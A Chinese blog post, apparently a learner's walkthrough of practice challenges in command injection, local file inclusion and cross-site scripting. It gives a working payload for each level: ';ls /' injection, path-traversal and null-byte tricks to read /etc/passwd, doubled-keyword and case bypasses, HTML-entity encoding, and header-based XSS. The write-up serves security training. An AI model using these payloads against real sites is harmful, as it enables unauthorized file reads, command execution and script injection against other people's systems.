0%

xss&命令注入&lfi

去爬山了…昨天的内容没搞,今天补上emm

0x01 命令注入

命令注入这六个题相对来说挺简单的,一个一个来看

CMD-1

没有任何过滤,直接?cmd=ls即可。

CMD-2

跟CMD-1一样,只不过变成了post,同理POST: cmd=ls。

CMD-3

GET型,直接;ls /即可(linux命令以分号结束)。

CMD-4

同CMD-3,只不过换成了POST型。

CMD-5

随意输入baidu.com提交后,发现url处变成了

1
?domain=baidu.com&server=whois.publicinterestregistry.net

查看源码发现domain小写化后进行正则过滤,好像是要符合域名规范,不过好像;ls /直接就绕过了..不需要在server处注入。

CMD-6

同CMD-5,只不过变成了POST。

0x02 LFI(本地文件读取)

LFI-1

直接任意文件读取,payload:/etc/passwd

LFI-2

%00截断,payload:?library=../../../flag%00

LFI-3

查看源码发现代码会检查最后四位是否是’.php’,这里绕过方法有很多:

1.加点.(win)

2.追加/.(win)

3.追加不可见字符,例如%00

4.大小写绕过(win)

5.::$DATA(win)

6.其他可解析后缀,例如php3,php4,php5,phtml等

LFI-4

查看源码发现重要的一行:

1
include('includes/class_'.addslashes($_GET['class']).'.php');

这里可以跟LFI-2思路一样,不过不能使用%00截断,因为addslashes函数会对单引号,双引号,反斜杠,0x00进行转义,造成%00截断失效。

这里吧class_当成一个目录即可,用../跳出去。payload:

1
?class=/../../../../../etc/passwd
LFI-5

查看源码发现过滤了../,但是只是替换成空字符,且只替换一次,故通过双写../即可绕过。payload:

1
?file=..././..././..././..././etc/passwd
LFI-6/7/8/9/10

只是换成了post型,跟LFI-1/2/3/4/5相同。

LFI-11

查看源码发现需要post提交一个stylepath参数,但是文本框提交的不是,所以需要自己来,故通过firefox的hackbar插件完成post提交,payload:

1
stylepath=/etc/passwd
LFI-12

跟上一题一样,只不过换成了get方式

LFI-13

和LFI-5一样(懵,为什么一样)

LFI-14

和LFI-5一样,换成POST请求

LFI-15

查看源码发现需要传入cookie,最终include的是cookie中TEMPLATE的值,故传入即可。payload:

1
../../../../../../etc/passwd

0x03 XSS

xss(跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

xss攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 –来自维基百科

一般会遇到的过滤函数:

  1. htmlspecialchars(): 函数把预定义的字符转换为 HTML 实体
    • 范围: <> & ".
    • ' 默认配置不被过滤.
  2. str_replace(): 替换函数,注意它只替换一轮,并且区分大小写. 当被替换的目标串为空,可以考虑双写饶过.
  3. strtolower() 函数将字符串转化为小写,防止大小写绕过.
  4. strpos() 函数查找字符串在另一字符串中第一次出现的位置,并且对大小写敏感.
  5. angularjs 中的 ng-include, 相当于 PHP 中 include 函数,能够包含其他文件.

积累一些基本的xss的payload:

1
2
3
4
5
6
7
8
<script>alert(1)</script>
<scRIpT>new class extends confirm`4`{}</SCripT> //绕过script大小写,括号,alert等函数
<script>(((confirm)))`666`</script> // 绕过括号,alert等函数限制
<script>co\u006efirm(666)</script>
<svg/onload=alert(1)>
<script>{confirm`NB`}</script>
<script>alert`111`</script>
%3c/title%3e%3cscript%3ealert`%22xss%22`%3c/script%3e
Level-1

使用最基本的payload:

1
<script>alert(/xss/)</script>
Level-2

查看源码发现htmlspecialchars过滤了,不过这里可以通过<input>标签处的闭合来进行代码注入,payload:

1
?keyword=aaa"> <script>alert(/xss/);</script>

虽然多了个">,但也还是能执行。

Level-3

跟上一题相比,value里面的str也被过滤了,标签无法使用,但是可以加监听事件来实现代码执行,payload:

1
1' onclick=alert(/xss/) //
Level-4

和上一题一样可以通过事件触发,payload:

1
" onclick=alert(/xss/) "

(也可以大小写绕过)

Level-5

查看源码发现<script>会被替换成<scr_ipt>,on会被替换成o_n,且无法绕过,不过发现a标签未被过滤,故通过a标签执行js代码。payload:

1
"><a href=" javascript:alert(/xss/)"

(本题也可以大小写绕过)

Level-6

本题大小写绕过即可。payload:

1
"> <sCript>alert(/xss/);</Script>
Level-7

这次全部替换为小写,但是却是将敏感的keyword替换成空字符,故可通过双写绕过,payload:

1
"> <scscriptript>alert(/xss/);</scrscriptipt>
Level-8

这次转化为小写后替换成无法执行的内容,且过滤了双引号。可以通过html实体编码绕过,payload:

1
2
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
//翻译过来就是:javascript:alert(1)
Level-9

查看源码发现可以从友情链接处入手(未被过滤)。但是要求带http://协议头(位置无限制)。payload:

1
javascrip&#116;:alert(/xss/)// http://
Level-10

查看源码发现三个隐藏起来的input。发现t_sort可以利用,但是需要先将他调整为可见,才可以植入事件触发xss,payload:

1
aaa" type="text" onclick="alert(/xss/)
Level-11

查看源码发现隐藏的四个input框有一个t_ref比较特殊,似乎value的内容刚好就是上一个页面的内容,尝试构造一个Referer试试:

1
Referer: "type="text" onclick="alert(/xss/)

果然生效了。

Level-12

跟11题一样,不过变成了User-Agent。

Level-13

跟11题一样,不管换成了Cookie。

Level-14

这个题是要借助上传图片xss来完成。访问http://www.exifviewer.org,然后长传一个带有xss代码的图片触发xss。将图片的标题主题标记备注作者版权等信息全部修改为如下payload:

1
’ “><img src=xxx onerror=alert(/xss/)’ 1.jpeg

上传后,则可触发xss。

Level-15

这里用了 angularjsng-include, ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下,相当于 PHP 的 include 函数。

本题payload:

1
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

(具体原理还没理解透彻,angularjs还没学过…)

Level-16

查看源码发现特殊符号和空格会被转义,script 会被替换成 ,并且转换为小写。

这里通过%0d %0a等分隔符绕过空格的过滤,同时使用img标签(不需要),payload:

1
?keyword=<img%0Dsrc=1%0Donerror=alert(/xss/)>
Level-17

查看源码发现这一行:

1
<embed src=xsf01.swf?xxxxxxxxx=sssss width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

相关php代码:

1
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

使用onmouseover触发事件,payload:

1
?arg01=aaa&arg02= onmouseover=alert(/xss/)
Level-18/19/20

Flash xss内容,暂时不考虑。